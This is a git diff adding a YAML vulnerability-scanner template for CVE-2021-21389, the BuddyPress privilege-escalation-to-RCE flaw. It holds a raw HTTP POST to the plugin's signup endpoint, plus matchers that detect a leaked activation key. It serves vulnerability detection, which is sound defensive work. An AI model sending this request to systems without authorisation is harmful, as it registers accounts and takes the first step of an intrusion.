diff --git a/cves/2021/CVE-2021-21389.yaml b/cves/2021/CVE-2021-21389.yaml
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+id: CVE-2021-21389
+
+info:
+  name: BuddyPress REST API Privilege Escalation to RCE
+  author: lotusdll
+  severity: critical
+  description: The BuddyPress WordPress plugin was affected by an REST API Privilege Escalation to RCE
+  reference: |
+    - https://github.com/HoangKien1020/CVE-2021-21389
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-21389
+  tags: cve,cve2021,wordpress,wp-plugin,rce
+
+
+requests:
+  - raw:
+      - |
+        POST /wp-json/buddypress/v1/signup HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+        Content-Type: application/json; charset=UTF-8
+
+        {
+          "user_login":"{{randstr}}",
+          "password":"{{randstr}}",
+          "user_name":"{{randstr}}",
+          "user_email":"{{randstr}}@example.com"
+        }
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+
+      - type: word
+        words:
+          - "user_login"
+          - "registered"
+          - "activation_key"
+          - "user_email"
+        part: body
+        condition: and